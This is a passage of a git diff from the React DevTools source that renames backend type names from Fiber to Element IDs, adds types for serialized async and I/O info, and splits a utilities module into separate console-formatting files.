+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This keeps track of Server Component logs which may come from.
+// This is in a shared module because Server Component logs don't come from a specific renderer
+// but can become associated with a Virtual Instance of any renderer.
+
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+type ComponentLogs = {
+  errors: Map<string, number>,
+  errorsCount: number,
+  warnings: Map<string, number>,
+  warningsCount: number,
+};
+
+// This keeps it around as long as the ComponentInfo is alive which
+// lets the Fiber get reparented/remounted and still observe the previous errors/warnings.
+// Unless we explicitly clear the logs from a Fiber.
+export const componentInfoToComponentLogsMap: WeakMap<
+  ReactComponentInfo,
+  ComponentLogs,
+> = new WeakMap();
diff --git a/packages/react-devtools-shared/src/backend/ReactSymbols.js b/packages/react-devtools-shared/src/backend/shared/ReactSymbols.js
similarity index 94%
rename from packages/react-devtools-shared/src/backend/ReactSymbols.js
rename to packages/react-devtools-shared/src/backend/shared/ReactSymbols.js
index 7a7a9c107e93..483671b90038 100644
--- a/packages/react-devtools-shared/src/backend/ReactSymbols.js
+++ b/packages/react-devtools-shared/src/backend/shared/ReactSymbols.js
@@ -72,3 +72,9 @@ export const SERVER_CONTEXT_DEFAULT_VALUE_NOT_LOADED_SYMBOL_STRING =
 export const REACT_MEMO_CACHE_SENTINEL: symbol = Symbol.for(
   'react.memo_cache_sentinel',
 );
+
+import type {ReactOptimisticKey} from 'shared/ReactTypes';
+
+export const REACT_OPTIMISTIC_KEY: ReactOptimisticKey = (Symbol.for(
+  'react.optimistic_key',
+): any);
diff --git a/packages/react-devtools-shared/src/backend/types.js b/packages/react-devtools-shared/src/backend/types.js
index a64d1e5337f3..70ef8e4befef 100644
--- a/packages/react-devtools-shared/src/backend/types.js
+++ b/packages/react-devtools-shared/src/backend/types.js
@@ -14,7 +14,11 @@
  * Be mindful of backwards compatibility when making changes.
  */
 
-import type {ReactContext, Wakeable} from 'shared/ReactTypes';
+import type {
+  ReactContext,
+  Wakeable,
+  ReactComponentInfo,
+} from 'shared/ReactTypes';
 import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
 import type {
   ComponentFilter,
@@ -27,10 +31,10 @@ import type {
 } from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';
 import type {InitBackend} from 'react-devtools-shared/src/backend';
 import type {TimelineDataExport} from 'react-devtools-timeline/src/types';
-import type {BrowserTheme} from 'react-devtools-shared/src/frontend/types';
 import type {BackendBridge} from 'react-devtools-shared/src/bridge';
-import type {Source} from 'react-devtools-shared/src/shared/types';
+import type {ReactFunctionLocation, ReactStackTrace} from 'shared/ReactTypes';
 import type Agent from './agent';
+import type {UnknownSuspendersReason} from '../constants';
 
 type BundleType =
   | 0 // PROD
@@ -73,18 +77,11 @@ export type WorkTagMap = {
   TracingMarkerComponent: WorkTag,
   YieldComponent: WorkTag,
   Throw: WorkTag,
+  ViewTransitionComponent: WorkTag,
+  ActivityComponent: WorkTag,
 };
 
-// TODO: If it's useful for the frontend to know which types of data an Element has
-// (e.g. props, state, context, hooks) then we could add a bitmask field for this
-// to keep the number of attributes small.
-export type FiberData = {
-  key: string | null,
-  displayName: string | null,
-  type: ElementType,
-};
-
-export type NativeType = Object;
+export type HostInstance = Object;
 export type RendererID = number;
 
 type Dispatcher = any;
@@ -95,17 +92,25 @@ type SharedInternalsSubset = {
 };
 export type CurrentDispatcherRef = SharedInternalsSubset;
 
-export type GetDisplayNameForFiberID = (
-  id: number,
-  findNearestUnfilteredAncestor?: boolean,
-) => string | null;
+export type GetDisplayNameForElementID = (id: number) => string | null;
 
-export type GetFiberIDForNative = (
-  component: NativeType,
-  findNearestUnfilteredAncestor?: boolean,
+export type GetElementIDForHostInstance = (
+  component: HostInstance,
 ) => number | null;
-export type FindNativeNodesForFiberID = (id: number) => ?Array<NativeType>;
+export type FindHostInstancesForElementID = (
+  id: number,
+) => null | $ReadOnlyArray<HostInstance>;
 
+export type Rect = {
+  x: number,
+  y: number,
+  width: number,
+  height: number,
+  ...
+};
+export type FindLastKnownRectsForID = (
+  id: number,
+) => null | $ReadOnlyArray<Rect>;
 export type ReactProviderType<T> = {
   $$typeof: symbol | number,
   _context: ReactContext<T>,
@@ -116,10 +121,11 @@ export type Lane = number;
 export type Lanes = number;
 
 export type ReactRenderer = {
-  findFiberByHostInstance: (hostInstance: NativeType) => Fiber | null,
   version: string,
   rendererPackageName: string,
   bundleType: BundleType,
+  // 16.0+ - To be removed in future versions.
+  findFiberByHostInstance?: (hostInstance: HostInstance) => Fiber | null,
   // 16.9+
   overrideHookState?: ?(
     fiber: Object,
@@ -159,12 +165,17 @@ export type ReactRenderer = {
   ) => void,
   // 16.9+
   scheduleUpdate?: ?(fiber: Object) => void,
+  // 19.2+
+  scheduleRetry?: ?(fiber: Object) => void,
   setSuspenseHandler?: ?(shouldSuspend: (fiber: Object) => boolean) => void,
   // Only injected by React v16.8+ in order to support hooks inspection.
   currentDispatcherRef?: LegacyDispatcherRef | CurrentDispatcherRef,
   // Only injected by React v16.9+ in DEV mode.
   // Enables DevTools to append owners-only component stack to error messages.
-  getCurrentFiber?: () => Fiber | null,
+  getCurrentFiber?: (() => Fiber | null) | null,
+  // Only injected by React Flight Clients in DEV mode.
+  // Enables DevTools to append owners-only component stack to error messages from Server Components.
+  getCurrentComponentInfo?: () => ReactComponentInfo | null,
   // 17.0.2+
   reconcilerVersion?: string,
   // Uniquely identifies React DOM v15.
@@ -234,10 +245,33 @@ export type PathMatch = {
   isFullMatch: boolean,
 };
 
+// Serialized version of ReactIOInfo
+export type SerializedIOInfo = {
+  name: string,
+  description: string,
+  start: number,
+  end: number,
+  byteSize: null | number,
+  value: null | Promise<mixed>,
+  env: null | string,
+  owner: null | SerializedElement,
+  stack: null | ReactStackTrace,
+};
+
+// Serialized version of ReactAsyncInfo
+export type SerializedAsyncInfo = {
+  awaited: SerializedIOInfo,
+  env: null | string,
+  owner: null | SerializedElement,
+  stack: null | ReactStackTrace,
+};
+
 export type SerializedElement = {
   displayName: string | null,
   id: number,
   key: number | string | null,
+  env: null | string,
+  stack: null | ReactStackTrace,
   type: ElementType,
 };
 
@@ -249,8 +283,6 @@ export type OwnersList = {
 export type InspectedElement = {
   id: number,
 
-  displayName: string | null,
-
   // Does the current renderer support editable hooks and function props?
   canEditHooks: boolean,
   canEditFunctionProps: boolean,
@@ -264,29 +296,39 @@ export type InspectedElement = {
   // Is this Error, and can its value be overridden now?
   canToggleError: boolean,
   isErrored: boolean,
-  targetErrorBoundaryID: ?number,
 
   // Is this Suspense, and can its value be overridden now?
   canToggleSuspense: boolean,
-
-  // Can view component source location.
-  canViewSource: boolean,
+  // If this Element is suspended. Currently only set on Suspense boundaries.
+  isSuspended: boolean | null,
 
   // Does the component have legacy context attached to it.
   hasLegacyContext: boolean,
 
   // Inspectable properties.
-  context: Object | null,
-  hooks: Object | null,
-  props: Object | null,
-  state: Object | null,
+  context: Object | null, // DehydratedData or {[string]: mixed}
+  hooks: Object | null, // DehydratedData or {[string]: mixed}
+  props: Object | null, // DehydratedData or {[string]: mixed}
+  state: Object | null, // DehydratedData or {[string]: mixed}
   key: number | string | null,
   errors: Array<[string, number]>,
   warnings: Array<[string, number]>,
 
+  // Things that suspended this Instances
+  suspendedBy: Object, // DehydratedData or Array<SerializedAsyncInfo>
+  suspendedByRange: null | [number, number],
+  unknownSuspenders: UnknownSuspendersReason,
+
   // List of owners
   owners: Array<SerializedElement> | null,
-  source: Source | null,
+
+  // Environment name that this component executed in or null for the client
+  env: string | null,
+
+  source: ReactFunctionLocation | null,
+
+  // The location of the JSX creation.
+  stack: ReactStackTrace | null,
 
   type: ElementType,
 
@@ -299,6 +341,9 @@ export type InspectedElement = {
 
   // UI plugins/visualizations for the inspected element.
   plugins: Plugins,
+
+  // React Native only.
+  nativeTag: number | null,
 };
 
 export const InspectElementErrorType = 'error';
@@ -356,23 +401,34 @@ export type InstanceAndStyle = {
 
 type Type = 'props' | 'hooks' | 'state' | 'context';
 
+export type OnErrorOrWarning = (
+  type: 'error' | 'warn',
+  args: Array<any>,
+) => void;
+export type GetComponentStack = (
+  topFrame: Error,
+) => null | {enableOwnerStacks: boolean, componentStack: string};
+
 export type RendererInterface = {
   cleanup: () => void,
   clearErrorsAndWarnings: () => void,
-  clearErrorsForFiberID: (id: number) => void,
-  clearWarningsForFiberID: (id: number) => void,
+  clearErrorsForElementID: (id: number) => void,
+  clearWarningsForElementID: (id: number) => void,
   deletePath: (
     type: Type,
     id: number,
     hookID: ?number,
     path: Array<string | number>,
   ) => void,
-  findNativeNodesForFiberID: FindNativeNodesForFiberID,
+  findHostInstancesForElementID: FindHostInstancesForElementID,
+  findLastKnownRectsForID: FindLastKnownRectsForID,
   flushInitialOperations: () => void,
   getBestMatchForTrackedPath: () => PathMatch | null,
-  getFiberForNative: (component: NativeType) => Fiber | null,
-  getFiberIDForNative: GetFiberIDForNative,
-  getDisplayNameForFiberID: GetDisplayNameForFiberID,
+  getComponentStack?: GetComponentStack,
+  getNearestMountedDOMNode: (component: Element) => Element | null,
+  getElementIDForHostInstance: GetElementIDForHostInstance,
+  getSuspenseNodeIDForHostInstance: GetElementIDForHostInstance,
+  getDisplayNameForElementID: GetDisplayNameForElementID,
   getInstanceAndStyle(id: number): InstanceAndStyle,
   getProfilingData(): ProfilingDataBackend,
   getOwnersList: (id: number) => Array<SerializedElement> | null,
@@ -384,7 +440,7 @@ export type RendererInterface = {
   handleCommitFiberRoot: (fiber: Object, commitPriority?: number) => void,
   handleCommitFiberUnmount: (fiber: Object) => void,
   handlePostCommitFiberRoot: (fiber: Object) => void,
-  hasFiberWithId: (id: number) => boolean,
+  hasElementWithId: (id: number) => boolean,
   inspectElement: (
     requestID: number,
     id: number,
@@ -392,8 +448,10 @@ export type RendererInterface = {
     forceFullData: boolean,
   ) => InspectedElementPayload,
   logElementToConsole: (id: number) => void,
+  onErrorOrWarning?: OnErrorOrWarning,
   overrideError: (id: number, forceError: boolean) => void,
   overrideSuspense: (id: number, forceFallback: boolean) => void,
+  overrideSuspenseMilestone: (suspendedSet: Array<number>) => void,
   overrideValueAtPath: (
     type: Type,
     id: number,
@@ -401,12 +459,11 @@ export type RendererInterface = {
     path: Array<string | number>,
     value: any,
   ) => void,
-  patchConsoleForStrictMode: () => void,
-  prepareViewAttributeSource: (
+  getElementAttributeByPath: (
     id: number,
     path: Array<string | number>,
-  ) => void,
-  prepareViewElementSource: (id: number) => void,
+  ) => mixed,
+  getElementSourceFunctionById: (id: number) => null | Function,
   renamePath: (
     type: Type,
     id: number,
@@ -417,15 +474,19 @@ export type RendererInterface = {
   renderer: ReactRenderer | null,
   setTraceUpdatesEnabled: (enabled: boolean) => void,
   setTrackedPath: (path: Array<PathFrame> | null) => void,
-  startProfiling: (recordChangeDescriptions: boolean) => void,
+  startProfiling: (
+    recordChangeDescriptions: boolean,
+    recordTimeline: boolean,
+  ) => void,
   stopProfiling: () => void,
   storeAsGlobal: (
     id: number,
     path: Array<string | number>,
     count: number,
   ) => void,
-  unpatchConsoleForStrictMode: () => void,
+  supportsTogglingSuspense: boolean,
   updateComponentFilters: (componentFilters: Array<ComponentFilter>) => void,
+  getEnvironmentNames: () => Array<string>,
 
   // Timeline profiler interface
 
@@ -483,10 +544,16 @@ export type DevToolsBackend = {
   setupNativeStyleEditor?: SetupNativeStyleEditor,
 };
 
+export type ProfilingSettings = {
+  recordChangeDescriptions: boolean,
+  recordTimeline: boolean,
+};
+
 export type DevToolsHook = {
   listeners: {[key: string]: Array<Handler>, ...},
   rendererInterfaces: Map<RendererID, RendererInterface>,
   renderers: Map<RendererID, ReactRenderer>,
+  hasUnsupportedRendererAttached: boolean,
   backends: Map<string, DevToolsBackend>,
 
   emit: (event: string, data: any) => void,
@@ -521,13 +588,25 @@ export type DevToolsHook = {
   // Testing
   dangerous_setTargetConsoleForTesting?: (fakeConsole: Object) => void,
 
+  settings?: $ReadOnly<DevToolsHookSettings>,
   ...
 };
 
-export type ConsolePatchSettings = {
+export type DevToolsHookSettings = {
   appendComponentStack: boolean,
   breakOnConsoleErrors: boolean,
   showInlineWarningsAndErrors: boolean,
   hideConsoleLogsInStrictMode: boolean,
-  browserTheme: BrowserTheme,
+  disableSecondConsoleLogDimmingInStrictMode: boolean,
 };
+
+export type DevToolsSettings = DevToolsHookSettings & {
+  componentFilters: Array<ComponentFilter>,
+};
+
+export type ReactBuildType =
+  | 'deadcode'
+  | 'development'
+  | 'outdated'
+  | 'production'
+  | 'unminified';
diff --git a/packages/react-devtools-shared/src/backend/utils.js b/packages/react-devtools-shared/src/backend/utils.js
deleted file mode 100644
index bd762467b648..000000000000
--- a/packages/react-devtools-shared/src/backend/utils.js
+++ /dev/null
@@ -1,447 +0,0 @@
-/**
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import {compareVersions} from 'compare-versions';
-import {dehydrate} from '../hydration';
-import isArray from 'shared/isArray';
-
-import type {Source} from 'react-devtools-shared/src/shared/types';
-import type {DehydratedData} from 'react-devtools-shared/src/frontend/types';
-
-// TODO: update this to the first React version that has a corresponding DevTools backend
-const FIRST_DEVTOOLS_BACKEND_LOCKSTEP_VER = '999.9.9';
-export function hasAssignedBackend(version?: string): boolean {
-  if (version == null || version === '') {
-    return false;
-  }
-  return gte(version, FIRST_DEVTOOLS_BACKEND_LOCKSTEP_VER);
-}
-
-export function cleanForBridge(
-  data: Object | null,
-  isPathAllowed: (path: Array<string | number>) => boolean,
-  path: Array<string | number> = [],
-): DehydratedData | null {
-  if (data !== null) {
-    const cleanedPaths: Array<Array<string | number>> = [];
-    const unserializablePaths: Array<Array<string | number>> = [];
-    const cleanedData = dehydrate(
-      data,
-      cleanedPaths,
-      unserializablePaths,
-      path,
-      isPathAllowed,
-    );
-
-    return {
-      data: cleanedData,
-      cleaned: cleanedPaths,
-      unserializable: unserializablePaths,
-    };
-  } else {
-    return null;
-  }
-}
-
-export function copyWithDelete(
-  obj: Object | Array<any>,
-  path: Array<string | number>,
-  index: number = 0,
-): Object | Array<any> {
-  const key = path[index];
-  const updated = isArray(obj) ? obj.slice() : {...obj};
-  if (index + 1 === path.length) {
-    if (isArray(updated)) {
-      updated.splice(((key: any): number), 1);
-    } else {
-      delete updated[key];
-    }
-  } else {
-    // $FlowFixMe[incompatible-use] number or string is fine here
-    updated[key] = copyWithDelete(obj[key], path, index + 1);
-  }
-  return updated;
-}
-
-// This function expects paths to be the same except for the final value.
-// e.g. ['path', 'to', 'foo'] and ['path', 'to', 'bar']
-export function copyWithRename(
-  obj: Object | Array<any>,
-  oldPath: Array<string | number>,
-  newPath: Array<string | number>,
-  index: number = 0,
-): Object | Array<any> {
-  const oldKey = oldPath[index];
-  const updated = isArray(obj) ? obj.slice() : {...obj};
-  if (index + 1 === oldPath.length) {
-    const newKey = newPath[index];
-    // $FlowFixMe[incompatible-use] number or string is fine here
-    updated[newKey] = updated[oldKey];
-    if (isArray(updated)) {
-      updated.splice(((oldKey: any): number), 1);
-    } else {
-      delete updated[oldKey];
-    }
-  } else {
-    // $FlowFixMe[incompatible-use] number or string is fine here
-    updated[oldKey] = copyWithRename(obj[oldKey], oldPath, newPath, index + 1);
-  }
-  return updated;
-}
-
-export function copyWithSet(
-  obj: Object | Array<any>,
-  path: Array<string | number>,
-  value: any,
-  index: number = 0,
-): Object | Array<any> {
-  if (index >= path.length) {
-    return value;
-  }
-  const key = path[index];
-  const updated = isArray(obj) ? obj.slice() : {...obj};
-  // $FlowFixMe[incompatible-use] number or string is fine here
-  updated[key] = copyWithSet(obj[key], path, value, index + 1);
-  return updated;
-}
-
-export function getEffectDurations(root: Object): {
-  effectDuration: any | null,
-  passiveEffectDuration: any | null,
-} {
-  // Profiling durations are only available for certain builds.
-  // If available, they'll be stored on the HostRoot.
-  let effectDuration = null;
-  let passiveEffectDuration = null;
-  const hostRoot = root.current;
-  if (hostRoot != null) {
-    const stateNode = hostRoot.stateNode;
-    if (stateNode != null) {
-      effectDuration =
-        stateNode.effectDuration != null ? stateNode.effectDuration : null;
-      passiveEffectDuration =
-        stateNode.passiveEffectDuration != null
-          ? stateNode.passiveEffectDuration
-          : null;
-    }
-  }
-  return {effectDuration, passiveEffectDuration};
-}
-
-export function serializeToString(data: any): string {
-  if (data === undefined) {
-    return 'undefined';
-  }
-
-  if (typeof data === 'function') {
-    return data.toString();
-  }
-
-  const cache = new Set<mixed>();
-  // Use a custom replacer function to protect against circular references.
-  return JSON.stringify(
-    data,
-    (key: string, value: any) => {
-      if (typeof value === 'object' && value !== null) {
-        if (cache.has(value)) {
-          return;
-        }
-        cache.add(value);
-      }
-      if (typeof value === 'bigint') {
-        return value.toString() + 'n';
-      }
-      return value;
-    },
-    2,
-  );
-}
-
-// NOTE: KEEP IN SYNC with src/hook.js
-// Formats an array of args with a style for console methods, using
-// the following algorithm:
-//     1. The first param is a string that contains %c
-//          - Bail out and return the args without modifying the styles.
-//            We don't want to affect styles that the developer deliberately set.
-//     2. The first param is a string that doesn't contain %c but contains
-//        string formatting
-//          - [`%c${args[0]}`, style, ...args.slice(1)]
-//          - Note: we assume that the string formatting that the developer uses
-//            is correct.
-//     3. The first param is a string that doesn't contain string formatting
-//        OR is not a string
-//          - Create a formatting string where:
-//                 boolean, string, symbol -> %s
-//                 number -> %f OR %i depending on if it's an int or float
-//                 default -> %o
-export function formatWithStyles(
-  inputArgs: $ReadOnlyArray<any>,
-  style?: string,
-): $ReadOnlyArray<any> {
-  if (
-    inputArgs === undefined ||
-    inputArgs === null ||
-    inputArgs.length === 0 ||
-    // Matches any of %c but not %%c
-    (typeof inputArgs[0] === 'string' && inputArgs[0].match(/([^%]|^)(%c)/g)) ||
-    style === undefined
-  ) {
-    return inputArgs;
-  }
-
-  // Matches any of %(o|O|d|i|s|f), but not %%(o|O|d|i|s|f)
-  const REGEXP = /([^%]|^)((%%)*)(%([oOdisf]))/g;
-  if (typeof inputArgs[0] === 'string' && inputArgs[0].match(REGEXP)) {
-    return [`%c${inputArgs[0]}`, style, ...inputArgs.slice(1)];
-  } else {
-    const firstArg = inputArgs.reduce((formatStr, elem, i) => {
-      if (i > 0) {
-        formatStr += ' ';
-      }
-      switch (typeof elem) {
-        case 'string':
-        case 'boolean':
-        case 'symbol':
-          return (formatStr += '%s');
-        case 'number':
-          const formatting = Number.isInteger(elem) ? '%i' : '%f';
-          return (formatStr += formatting);
-        default:
-          return (formatStr += '%o');
-      }
-    }, '%c');
-    return [firstArg, style, ...inputArgs];
-  }
-}
-
-// NOTE: KEEP IN SYNC with src/hook.js
-// Skips CSS and object arguments, inlines other in the first argument as a template string
-export function formatConsoleArguments(
-  maybeMessage: any,
-  ...inputArgs: $ReadOnlyArray<any>
-): $ReadOnlyArray<any> {
-  if (inputArgs.length === 0 || typeof maybeMessage !== 'string') {
-    return [maybeMessage, ...inputArgs];
-  }
-
-  const args = inputArgs.slice();
-
-  let template = '';
-  let argumentsPointer = 0;
-  for (let i = 0; i < maybeMessage.length; ++i) {
-    const currentChar = maybeMessage[i];
-    if (currentChar !== '%') {
-      template += currentChar;
-      continue;
-    }
-
-    const nextChar = maybeMessage[i + 1];
-    ++i;
-
-    // Only keep CSS and objects, inline other arguments
-    switch (nextChar) {
-      case 'c':
-      case 'O':
-      case 'o': {
-        ++argumentsPointer;
-        template += `%${nextChar}`;
-
-        break;
-      }
-      case 'd':
-      case 'i': {
-        const [arg] = args.splice(argumentsPointer, 1);
-        template += parseInt(arg, 10).toString();
-
-        break;
-      }
-      case 'f': {
-        const [arg] = args.splice(argumentsPointer, 1);
-        template += parseFloat(arg).toString();
-
-        break;
-      }
-      case 's': {
-        const [arg] = args.splice(argumentsPointer, 1);
-        template += arg.toString();
-
-        break;
-      }
-
-      default:
-        template += `%${nextChar}`;
-    }
-  }
-
-  return [template, ...args];
-}
-
-// based on https://github.com/tmpfs/format-util/blob/0e62d430efb0a1c51448709abd3e2406c14d8401/format.js#L1
-// based on https://developer.mozilla.org/en-US/docs/Web/API/console#Using_string_substitutions
-// Implements s, d, i and f placeholders
-export function formatConsoleArgumentsToSingleString(
-  maybeMessage: any,
-  ...inputArgs: $ReadOnlyArray<any>
-): string {
-  const args = inputArgs.slice();
-
-  let formatted: string = String(maybeMessage);
-
-  // If the first argument is a string, check for substitutions.
-  if (typeof maybeMessage === 'string') {
-    if (args.length) {
-      const REGEXP = /(%?)(%([jds]))/g;
-
-      formatted = formatted.replace(REGEXP, (match, escaped, ptn, flag) => {
-        let arg = args.shift();
-        switch (flag) {
-          case 's':
-            arg += '';
-            break;
-          case 'd':
-          case 'i':
-            arg = parseInt(arg, 10).toString();
-            break;
-          case 'f':
-            arg = parseFloat(arg).toString();
-            break;
-        }
-        if (!escaped) {
-          return arg;
-        }
-        args.unshift(arg);
-        return match;
-      });
-    }
-  }
-
-  // Arguments that remain after formatting.
-  if (args.length) {
-    for (let i = 0; i < args.length; i++) {
-      formatted += ' ' + String(args[i]);
-    }
-  }
-
-  // Update escaped %% values.
-  formatted = formatted.replace(/%{2,2}/g, '%');
-
-  return String(formatted);
-}
-
-export function isSynchronousXHRSupported(): boolean {
-  return !!(
-    window.document &&
-    window.document.featurePolicy &&
-    window.document.featurePolicy.allowsFeature('sync-xhr')
-  );
-}
-
-export function gt(a: string = '', b: string = ''): boolean {
-  return compareVersions(a, b) === 1;
-}
-
-export function gte(a: string = '', b: string = ''): boolean {
-  return compareVersions(a, b) > -1;
-}
-
-export const isReactNativeEnvironment = (): boolean => {
-  // We've been relying on this for such a long time
-  // We should probably define the client for DevTools on the backend side and share it with the frontend
-  return window.document == null;
-};
-
-function extractLocation(
-  url: string,
-): null | {sourceURL: string, line?: string, column?: string} {
-  if (url.indexOf(':') === -1) {
-    return null;
-  }
-
-  // remove any parentheses from start and end
-  const withoutParentheses = url.replace(/^\(+/, '').replace(/\)+$/, '');
-  const locationParts = /(at )?(.+?)(?::(\d+))?(?::(\d+))?$/.exec(
-    withoutParentheses,
-  );
-
-  if (locationParts == null) {
-    return null;
-  }
-
-  const [, , sourceURL, line, column] = locationParts;
-  return {sourceURL, line, column};
-}
-
-const CHROME_STACK_REGEXP = /^\s*at .*(\S+:\d+|\(native\))/m;
-function parseSourceFromChromeStack(stack: string): Source | null {
-  const frames = stack.split('\n');
-  // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-  for (const frame of frames) {
-    const sanitizedFrame = frame.trim();
-
-    const locationInParenthesesMatch = sanitizedFrame.match(/ (\(.+\)$)/);
-    const possibleLocation = locationInParenthesesMatch
-      ? locationInParenthesesMatch[1]
-      : sanitizedFrame;
-
-    const location = extractLocation(possibleLocation);
-    // Continue the search until at least sourceURL is found
-    if (location == null) {
-      continue;
-    }
-
-    const {sourceURL, line = '1', column = '1'} = location;
-
-    return {
-      sourceURL,
-      line: parseInt(line, 10),
-      column: parseInt(column, 10),
-    };
-  }
-
-  return null;
-}
-
-function parseSourceFromFirefoxStack(stack: string): Source | null {
-  const frames = stack.split('\n');
-  // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-  for (const frame of frames) {
-    const sanitizedFrame = frame.trim();
-    const frameWithoutFunctionName = sanitizedFrame.replace(
-      /((.*".+"[^@]*)?[^@]*)(?:@)/,
-      '',
-    );
-
-    const location = extractLocation(frameWithoutFunctionName);
-    // Continue the search until at least sourceURL is found
-    if (location == null) {
-      continue;
-    }
-
-    const {sourceURL, line = '1', column = '1'} = location;
-
-    return {
-      sourceURL,
-      line: parseInt(line, 10),
-      column: parseInt(column, 10),
-    };
-  }
-
-  return null;
-}
-
-export function parseSourceFromComponentStack(
-  componentStack: string,
-): Source | null {
-  if (componentStack.match(CHROME_STACK_REGEXP)) {
-    return parseSourceFromChromeStack(componentStack);
-  }
-
-  return parseSourceFromFirefoxStack(componentStack);
-}
diff --git a/packages/react-devtools-shared/src/backend/utils/formatConsoleArguments.js b/packages/react-devtools-shared/src/backend/utils/formatConsoleArguments.js
new file mode 100644
index 000000000000..eaf4170970ed
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/utils/formatConsoleArguments.js
@@ -0,0 +1,72 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Do not add / import anything to this file.
+// This function could be used from multiple places, including hook.
+
+// Skips CSS and object arguments, inlines other in the first argument as a template string
+export default function formatConsoleArguments(
+  maybeMessage: any,
+  ...inputArgs: $ReadOnlyArray<any>
+): $ReadOnlyArray<any> {
+  if (inputArgs.length === 0 || typeof maybeMessage !== 'string') {
+    return [maybeMessage, ...inputArgs];
+  }
+
+  const args = inputArgs.slice();
+
+  let template = '';
+  let argumentsPointer = 0;
+  for (let i = 0; i < maybeMessage.length; ++i) {
+    const currentChar = maybeMessage[i];
+    if (currentChar !== '%') {
+      template += currentChar;
+      continue;
+    }
+
+    const nextChar = maybeMessage[i + 1];
+    ++i;
+
+    // Only keep CSS and objects, inline other arguments
+    switch (nextChar) {
+      case 'c':
+      case 'O':
+      case 'o': {
+        ++argumentsPointer;
+        template += `%${nextChar}`;
+
+        break;
+      }
+      case 'd':
+      case 'i': {
+        const [arg] = args.splice(argumentsPointer, 1);
+        template += parseInt(arg, 10).toString();
+
+        break;
+      }
+      case 'f': {
+        const [arg] = args.splice(argumentsPointer, 1);
+        template += parseFloat(arg).toString();
+
+        break;
+      }
+      case 's': {
+        const [arg] = args.splice(argumentsPointer, 1);
+        template += String(arg);
+
+        break;
+      }
+
+      default:
+        template += `%${nextChar}`;
+    }
+  }
+
+  return [template, ...args];
+}
diff --git a/packages/react-devtools-shared/src/backend/utils/formatWithStyles.js b/packages/react-devtools-shared/src/backend/utils/formatWithStyles.js
new file mode 100644
index 000000000000..b258141e353f
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/utils/formatWithStyles.js
@@ -0,0 +1,67 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Do not add / import anything to this file.
+// This function could be used from multiple places, including hook.
+
+// Formats an array of args with a style for console methods, using
+// the following algorithm:
+//     1. The first param is a string that contains %c
+//          - Bail out and return the args without modifying the styles.
+//            We don't want to affect styles that the developer deliberately set.
+//     2. The first param is a string that doesn't contain %c but contains
+//        string formatting
+//          - [`%c${args[0]}`, style, ...args.slice(1)]
+//          - Note: we assume that the string formatting that the developer uses
+//            is correct.
+//     3. The first param is a string that doesn't contain string formatting
+//        OR is not a string
+//          - Create a formatting string where:
+//                 boolean, string, symbol -> %s
+//                 number -> %f OR %i depending on if it's an int or float
+//                 default -> %o
+export default function formatWithStyles(
+  inputArgs: $ReadOnlyArray<any>,
+  style?: string,
+): $ReadOnlyArray<any> {
+  if (
+    inputArgs === undefined ||
+    inputArgs === null ||
+    inputArgs.length === 0 ||
+    // Matches any of %c but not %%c
+    (typeof inputArgs[0] === 'string' && inputArgs[0].match(/([^%]|^)(%c)/g)) ||
+    style === undefined
+  ) {
+    return inputArgs;
+  }
+
+  // Matches any of %(o|O|d|i|s|f), but not %%(o|O|d|i|s|f)
+  const REGEXP = /([^%]|^)((%%)*)(%([oOdisf]))/g;
+  if (typeof inputArgs[0] === 'string' && inputArgs[0].match(REGEXP)) {
+    return [`%c${inputArgs[0]}`, style, ...inputArgs.slice(1)];
+  } else {
+    const firstArg = inputArgs.reduce((formatStr, elem, i) => {
+      if (i > 0) {
+        formatStr += ' ';
+      }
+      switch (typeof elem) {
+        case 'string':
+        case 'boolean':
+        case 'symbol':
+          return (formatStr += '%s');
+        case 'number':
+          const formatting = Number.isInteger(elem) ? '%i' : '%f';
+          return (formatStr += formatting);
+        default:
+          return (formatStr += '%o');
+      }
+    }, '%c');
+    return [firstArg, style, ...inputArgs];
+  }
+}
diff --git a/packages/react-devtools-shared/src/backend/utils/index.js b/packages/react-devtools-shared/src/backend/utils/index.js
new file mode 100644
index 000000000000..fcb8d448a0c1
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/utils/index.js
@@ -0,0 +1,265 @@
+/**
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {compareVersions} from 'compare-versions';
+import {dehydrate} from 'react-devtools-shared/src/hydration';
+import isArray from 'shared/isArray';
+
+import type {DehydratedData} from 'react-devtools-shared/src/frontend/types';
+
+export {default as formatWithStyles} from './formatWithStyles';
+export {default as formatConsoleArguments} from './formatConsoleArguments';
+
+// TODO: update this to the first React version that has a corresponding DevTools backend
+const FIRST_DEVTOOLS_BACKEND_LOCKSTEP_VER = '999.9.9';
+export function hasAssignedBackend(version?: string): boolean {
+  if (version == null || version === '') {
+    return false;
+  }
+  return gte(version, FIRST_DEVTOOLS_BACKEND_LOCKSTEP_VER);
+}
+
+export function cleanForBridge(
+  data: Object | null,
+  isPathAllowed: (path: Array<string | number>) => boolean,
+  path: Array<string | number> = [],
+): DehydratedData | null {
+  if (data !== null) {
+    const cleanedPaths: Array<Array<string | number>> = [];
+    const unserializablePaths: Array<Array<string | number>> = [];
+    const cleanedData = dehydrate(
+      data,
+      cleanedPaths,
+      unserializablePaths,
+      path,
+      isPathAllowed,
+    );
+
+    return {
+      data: cleanedData,
+      cleaned: cleanedPaths,
+      unserializable: unserializablePaths,
+    };
+  } else {
+    return null;
+  }
+}
+
+export function copyWithDelete(
+  obj: Object | Array<any>,
